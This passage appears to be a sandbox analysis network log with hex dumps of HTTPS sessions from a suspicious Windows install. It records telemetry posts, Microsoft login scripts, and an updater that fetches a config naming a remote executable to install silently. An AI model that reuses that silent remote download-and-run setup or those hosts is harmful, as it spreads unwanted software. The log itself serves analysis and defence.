6e 66 69 67 2e 6a 73 6f 6e 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKLast-Modified: Tue, 16 May 2017 22:58:00 GMTETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"ApiVersion: Distribute 1.1Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.jsonX-C
2023-12-06 13:52:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49879	152.199.4.44	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:21 UTC	635	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_PukjvzWvVsvIJFh4xJhtXA2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-12-06 13:52:21 UTC	750	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 43 6f 6e 74 65 6e 74 2d 4d 44 35 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e Data Ascii: HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-En
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 3d 41 2e 70 61 72 73 65 28 65 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 72 2e 71 75 65 72 79 7c 7c 7b 7d 2c 6e 2c 21 30 29 26 26 28 72 2e 71 75 65 72 79 3d 72 2e 71 75 65 72 79 7c 7c 7b 7d 2c 72 2e 71 75 65 72 79 5b 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 74 29 2c 41 2e 6a 6f 69 6e 28 72 29 7d 2c 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 41 2e 70 61 72 73 65 28 65 29 3b 72 65 74 75 72 6e 20 65 26 26 6e 26 26 6e 2e 6c 65 6e 67 74 68 26 26 28 74 2e 71 75 65 72 79 3d 74 2e 71 75 65 72 79 7c 7c 7b 7d 2c 63 2e 66 6f 72 45 61 63 68 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 71 75 65 72 79 5b 65 5b 30 5d 5d 3d 65 5b 31 5d 7d 29 29 29 2c 41 2e 6a 6f 69 Data Ascii: =A.parse(e);return null===s.findOwnProperty(r.query\|\|{},n,!0)&&(r.query=r.query\|\|{},r.query[n.toLowerCase()]=t),A.join(r)},add:function(e,n){var t=A.parse(e);return e&&n&&n.length&&(t.query=t.query\|\|{},c.forEach(n,(function(e){t.query[e[0]]=e[1]}))),A.joi
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 74 45 78 69 73 74 3a 22 35 30 31 38 34 22 2c 4f 6e 65 54 69 6d 65 50 61 73 73 63 6f 64 65 4d 65 73 73 61 67 65 44 65 6c 69 76 65 72 79 46 61 69 6c 65 64 3a 22 35 30 31 38 35 22 2c 49 6e 76 61 6c 69 64 50 61 73 73 77 6f 72 64 3a 22 35 30 31 39 33 22 2c 49 6e 76 61 6c 69 64 4f 6e 65 54 69 6d 65 50 61 73 73 63 6f 64 65 4f 54 50 4e 6f 74 47 69 76 65 6e 3a 22 35 30 31 38 31 31 22 2c 49 6e 76 61 6c 69 64 47 72 61 6e 74 44 65 76 69 63 65 4e 6f 74 46 6f 75 6e 64 3a 22 37 30 30 30 30 33 22 2c 53 73 6f 41 72 74 69 66 61 63 74 45 78 70 69 72 65 64 44 75 65 54 6f 43 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 3a 22 37 30 30 34 34 22 2c 53 73 6f 41 72 74 69 66 61 63 74 45 78 70 69 72 65 64 44 75 65 54 6f 43 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 52 65 41 Data Ascii: tExist:"50184",OneTimePasscodeMessageDeliveryFailed:"50185",InvalidPassword:"50193",InvalidOneTimePasscodeOTPNotGiven:"501811",InvalidGrantDeviceNotFound:"700003",SsoArtifactExpiredDueToConditionalAccess:"70044",SsoArtifactExpiredDueToConditionalAccessReA
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 6e 45 72 72 6f 72 28 65 29 2c 65 7d 29 2c 30 29 7d 2c 42 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 53 2e 61 2e 41 63 28 74 29 3b 69 66 28 74 3d 76 5b 6e 5d 2c 53 2e 6f 70 74 69 6f 6e 73 2e 75 73 65 4f 6e 6c 79 4e 61 74 69 76 65 45 76 65 6e 74 73 7c 7c 74 7c 7c 21 6c 29 69 66 28 74 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 61 74 74 61 63 68 45 76 65 6e 74 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 73 75 70 70 6f 72 74 20 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 6f 72 20 61 74 74 61 63 68 45 76 65 6e 74 22 29 3b 76 61 72 Data Ascii: nError(e),e}),0)},B:function(e,n,t){var r=S.a.Ac(t);if(t=v[n],S.options.useOnlyNativeEvents\|\|t\|\|!l)if(t\|\|"function"!=typeof e.addEventListener){if("undefined"==typeof e.attachEvent)throw Error("Browser doesn't support addEventListener or attachEvent");var
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 65 6e 67 74 68 26 26 65 2e 6e 6f 74 69 66 79 53 75 62 73 63 72 69 62 65 72 73 28 6e 2c 22 61 72 72 61 79 43 68 61 6e 67 65 22 29 7d 7d 73 3f 6e 28 29 3a 28 73 3d 21 30 2c 69 3d 65 2e 73 75 62 73 63 72 69 62 65 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2b 2b 63 7d 29 2c 6e 75 6c 6c 2c 22 73 70 65 63 74 61 74 65 22 29 2c 6f 3d 5b 5d 2e 63 6f 6e 63 61 74 28 65 2e 76 28 29 7c 7c 5b 5d 29 2c 75 3d 6e 75 6c 6c 2c 72 3d 65 2e 73 75 62 73 63 72 69 62 65 28 6e 29 29 7d 69 66 28 65 2e 4f 62 3d 7b 7d 2c 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 53 2e 61 2e 65 78 74 65 6e 64 28 65 2e 4f 62 2c 6e 29 2c 65 2e 4f 62 2e 73 70 61 72 73 65 3d 21 30 2c 21 65 2e 7a 63 29 7b 76 61 72 20 72 2c 69 2c 6f 2c 73 3d 21 31 2c 75 3d 6e 75 6c 6c 2c 63 3d 30 2c Data Ascii: ength&&e.notifySubscribers(n,"arrayChange")}}s?n():(s=!0,i=e.subscribe((function(){++c}),null,"spectate"),o=[].concat(e.v()\|\|[]),u=null,r=e.subscribe(n))}if(e.Ob={},n&&"object"==typeof n&&S.a.extend(e.Ob,n),e.Ob.sparse=!0,!e.zc){var r,i,o,s=!1,u=null,c=0,
2023-12-06 13:52:21 UTC	5	IN	Data Raw: 65 6e 64 28 75 Data Ascii: end(u
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 2c 6e 29 2c 76 20 69 6e 20 6e 26 26 28 75 5b 76 5d 3d 6e 5b 76 5d 29 29 3a 28 75 2e 24 70 61 72 65 6e 74 73 3d 5b 5d 2c 75 2e 24 72 6f 6f 74 3d 69 2c 75 2e 6b 6f 3d 53 29 2c 75 5b 67 5d 3d 73 2c 63 3f 69 3d 75 2e 24 64 61 74 61 3a 28 75 2e 24 72 61 77 44 61 74 61 3d 65 2c 75 2e 24 64 61 74 61 3d 69 29 2c 74 26 26 28 75 5b 74 5d 3d 69 29 2c 72 26 26 72 28 75 2c 6e 2c 69 29 2c 6e 26 26 6e 5b 67 5d 26 26 21 53 2e 53 2e 6f 28 29 2e 56 62 28 6e 5b 67 5d 29 26 26 6e 5b 67 5d 28 29 2c 66 26 26 28 75 5b 6d 5d 3d 66 29 2c 75 2e 24 64 61 74 61 7d 76 61 72 20 73 2c 75 3d 74 68 69 73 2c 63 3d 65 3d 3d 3d 79 2c 6c 3d 63 3f 61 3a 65 2c 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6c 26 26 21 53 2e 4f 28 6c 29 2c 66 3d 69 26 26 69 2e 64 61 74 61 44 65 Data Ascii: ,n),v in n&&(u[v]=n[v])):(u.$parents=[],u.$root=i,u.ko=S),u[g]=s,c?i=u.$data:(u.$rawData=e,u.$data=i),t&&(u[t]=i),r&&r(u,n,i),n&&n[g]&&!S.S.o().Vb(n[g])&&n[g](),f&&(u[m]=f),u.$data}var s,u=this,c=e===y,l=c?a:e,d="function"==typeof l&&!S.O(l),f=i&&i.dataDe
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 3d 65 2c 53 2e 6d 2e 65 62 28 73 28 29 2c 75 2c 22 74 65 78 74 49 6e 70 75 74 22 2c 65 29 29 7d 76 61 72 20 70 2c 68 2c 67 3d 6f 2e 76 61 6c 75 65 2c 76 3d 39 3d 3d 53 2e 61 2e 57 3f 6c 3a 64 2c 6d 3d 21 31 3b 72 26 26 63 28 22 6b 65 79 70 72 65 73 73 22 2c 64 29 2c 31 31 3e 72 26 26 63 28 22 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6d 7c 7c 22 76 61 6c 75 65 22 21 3d 3d 65 2e 70 72 6f 70 65 72 74 79 4e 61 6d 65 7c 7c 76 28 65 29 7d 29 29 2c 38 3d 3d 72 26 26 28 63 28 22 6b 65 79 75 70 22 2c 64 29 2c 63 28 22 6b 65 79 64 6f 77 6e 22 2c 64 29 29 2c 66 26 26 28 66 28 6f 2c 76 29 2c 63 28 22 64 72 61 67 65 6e 64 22 2c 6c 29 29 2c 28 21 72 7c 7c 39 3c 3d 72 29 26 26 63 28 22 69 6e 70 75 74 22 2c 76 29 2c 35 3e 6e Data Ascii: =e,S.m.eb(s(),u,"textInput",e))}var p,h,g=o.value,v=9==S.a.W?l:d,m=!1;r&&c("keypress",d),11>r&&c("propertychange",(function(e){m\|\|"value"!==e.propertyName\|\|v(e)})),8==r&&(c("keyup",d),c("keydown",d)),f&&(f(o,v),c("dragend",l)),(!r\|\|9<=r)&&c("input",v),5>n
2023-12-06 13:52:21 UTC	16383	IN	Data Raw: 6e 77 72 61 70 28 72 29 26 26 28 65 2e 69 73 57 72 69 74 61 62 6c 65 4f 62 73 65 72 76 61 62 6c 65 28 72 29 26 26 72 28 21 31 29 2c 6e 2e 73 75 62 6d 69 74 28 29 29 7d 7d 2c 65 2e 62 69 6e 64 69 6e 67 48 61 6e 64 6c 65 72 73 2e 70 6f 73 74 52 65 64 69 72 65 63 74 46 6f 72 6d 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 65 74 68 6f 64 22 2c 22 50 4f 53 54 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 22 74 72 75 65 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 72 67 65 74 22 2c 22 5f 74 6f 70 22 29 7d 2c 75 70 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 72 3d 65 2e 75 6e 77 72 61 70 28 74 28 29 29 3b 72 Data Ascii: nwrap(r)&&(e.isWritableObservable(r)&&r(!1),n.submit())}},e.bindingHandlers.postRedirectForm={init:function(e){e.setAttribute("method","POST"),e.setAttribute("aria-hidden","true"),e.setAttribute("target","_top")},update:function(n,t){var r=e.unwrap(t());r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50132	54.165.145.62	443	4444	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:33 UTC	241	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache
2023-12-06 13:52:33 UTC	165	OUT	Data Raw: 71 74 3d 34 32 38 33 32 33 34 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 30 46 45 30 35 35 46 32 42 35 35 33 42 34 46 36 33 31 39 36 39 39 33 43 41 46 42 39 32 44 36 31 38 43 38 32 33 42 46 45 26 73 69 64 3d 25 37 42 31 31 45 41 32 46 33 30 2d 30 35 45 34 2d 34 34 33 33 2d 42 44 37 39 2d 33 45 36 45 31 39 42 43 37 36 41 45 25 37 44 Data Ascii: qt=4283234&t=lifecycle&lc=start&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=0FE055F2B553B4F63196993CAFB92D618C823BFE&sid=%7B11EA2F30-05E4-4433-BD79-3E6E19BC76AE%7D
2023-12-06 13:52:33 UTC	638	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 3d 22 73 65 74 2d 63 6f 6f 6b 69 65 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 33 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 57 53 45 4c 42 3d 32 39 33 39 39 33 36 46 31 30 32 37 30 44 31 43 43 39 38 32 31 39 36 34 39 39 31 34 30 33 44 38 45 42 33 36 33 44 36 33 44 45 Data Ascii: HTTP/1.1 402 Payment RequiredCache-control: no-cache="set-cookie"Content-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:52:33 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"Set-Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE
2023-12-06 13:52:33 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50134	54.165.145.62	443	4444	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:33 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E
2023-12-06 13:52:33 UTC	165	OUT	Data Raw: 71 74 3d 34 32 38 34 32 38 30 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 30 46 45 30 35 35 46 32 42 35 35 33 42 34 46 36 33 31 39 36 39 39 33 43 41 46 42 39 32 44 36 31 38 43 38 32 33 42 46 45 26 73 69 64 3d 25 37 42 45 45 30 38 34 45 35 46 2d 32 46 41 35 2d 34 36 36 41 2d 41 41 30 44 2d 30 39 38 38 37 30 39 45 35 39 34 46 25 37 44 Data Ascii: qt=4284280&t=lifecycle&lc=start&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=0FE055F2B553B4F63196993CAFB92D618C823BFE&sid=%7BEE084E5F-2FA5-466A-AA0D-0988709E594F%7D
2023-12-06 13:52:33 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 33 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:52:33 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:52:33 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50135	104.21.74.109	443	2360	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:34 UTC	147	OUT	GET /updates.txt HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: allroadslimit.com Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:52:34 UTC	655	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 32 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 31 31 20 4d 61 79 20 32 30 32 32 20 30 34 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 32 37 62 34 32 62 35 2d 33 39 38 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:52:34 GMTContent-Type: text/plainContent-Length: 920Connection: closeLast-Modified: Wed, 11 May 2022 04:59:33 GMTETag: "627b42b5-398"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoi
2023-12-06 13:52:34 UTC	714	IN	Data Raw: 3b 61 69 75 3b 0a 0a 5b 76 31 31 34 5d 0a 4e 61 6d 65 20 3d 20 57 69 6e 64 6f 77 73 20 49 6e 73 74 61 6c 6c 65 72 0a 4e 6f 47 55 49 43 6f 6d 6d 61 6e 64 4c 69 6e 65 53 77 69 74 63 68 20 3d 20 2f 65 78 65 6e 6f 75 69 20 2f 71 6e 0a 50 72 6f 64 75 63 74 56 65 72 73 69 6f 6e 20 3d 20 35 2e 30 2e 34 2e 30 0a 55 52 4c 20 3d 20 68 74 74 70 73 3a 2f 2f 64 6c 2e 6c 69 6b 65 61 73 75 72 66 65 72 2e 63 6f 6d 2f 75 70 64 61 74 65 73 2f 76 31 31 34 2e 65 78 65 0a 53 69 7a 65 20 3d 20 34 39 30 30 36 38 30 0a 53 48 41 32 35 36 20 3d 20 42 30 45 30 41 43 38 33 44 35 30 39 30 43 33 35 39 46 38 34 41 46 31 36 30 41 45 42 41 39 42 42 37 33 31 37 44 36 44 36 34 33 37 32 45 34 44 45 45 39 38 30 43 37 44 43 32 33 46 45 46 45 34 31 0a 4d 44 35 20 3d 20 35 64 63 36 34 34 65 30 Data Ascii: ;aiu;[v114]Name = Windows InstallerNoGUICommandLineSwitch = /exenoui /qnProductVersion = 5.0.4.0URL = https://dl.likeasurfer.com/updates/v114.exeSize = 4900680SHA256 = B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41MD5 = 5dc644e0
2023-12-06 13:52:34 UTC	206	IN	Data Raw: 20 3d 20 76 31 31 33 2e 65 78 65 0a 46 6c 61 67 73 20 3d 20 53 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 7c 4e 6f 43 61 63 68 65 7c 41 64 76 65 72 74 69 73 65 73 0a 52 65 67 69 73 74 72 79 4b 65 79 20 3d 20 48 4b 55 44 5c 53 6f 66 74 77 61 72 65 5c 41 64 76 61 6e 63 65 64 57 69 6e 64 6f 77 73 4d 61 6e 61 67 65 72 5c 57 69 6e 64 6f 77 73 20 49 6e 73 74 61 6c 6c 65 72 5c 56 65 72 73 69 6f 6e 0a 56 65 72 73 69 6f 6e 20 3d 20 35 2e 30 2e 33 2e 30 0a 41 75 74 6f 43 6c 6f 73 65 41 70 70 6c 69 63 61 74 69 6f 6e 20 3d 20 5b 41 50 50 44 49 52 5d 41 64 76 61 6e 63 65 64 57 69 6e 64 6f 77 73 4d 61 6e 61 67 65 72 2e 65 78 65 0a Data Ascii: = v113.exeFlags = SilentInstall\|NoCache\|AdvertisesRegistryKey = HKUD\Software\AdvancedWindowsManager\Windows Installer\VersionVersion = 5.0.3.0AutoCloseApplication = [APPDIR]AdvancedWindowsManager.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50137	54.165.145.62	443	5648	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:34 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 174 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E
2023-12-06 13:52:34 UTC	174	OUT	Data Raw: 71 74 3d 34 32 38 34 38 34 33 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 65 6e 64 26 6c 73 3d 73 75 63 63 65 73 73 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 30 46 45 30 35 35 46 32 42 35 35 33 42 34 46 36 33 31 39 36 39 39 33 43 41 46 42 39 32 44 36 31 38 43 38 32 33 42 46 45 26 73 69 64 3d 25 37 42 45 45 30 38 34 45 35 46 2d 32 46 41 35 2d 34 36 36 41 2d 41 41 30 44 2d 30 39 38 38 37 30 39 45 35 39 34 46 25 37 44 Data Ascii: qt=4284843&t=lifecycle&lc=end&ls=success&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=0FE055F2B553B4F63196993CAFB92D618C823BFE&sid=%7BEE084E5F-2FA5-466A-AA0D-0988709E594F%7D
2023-12-06 13:52:34 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 33 34 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment 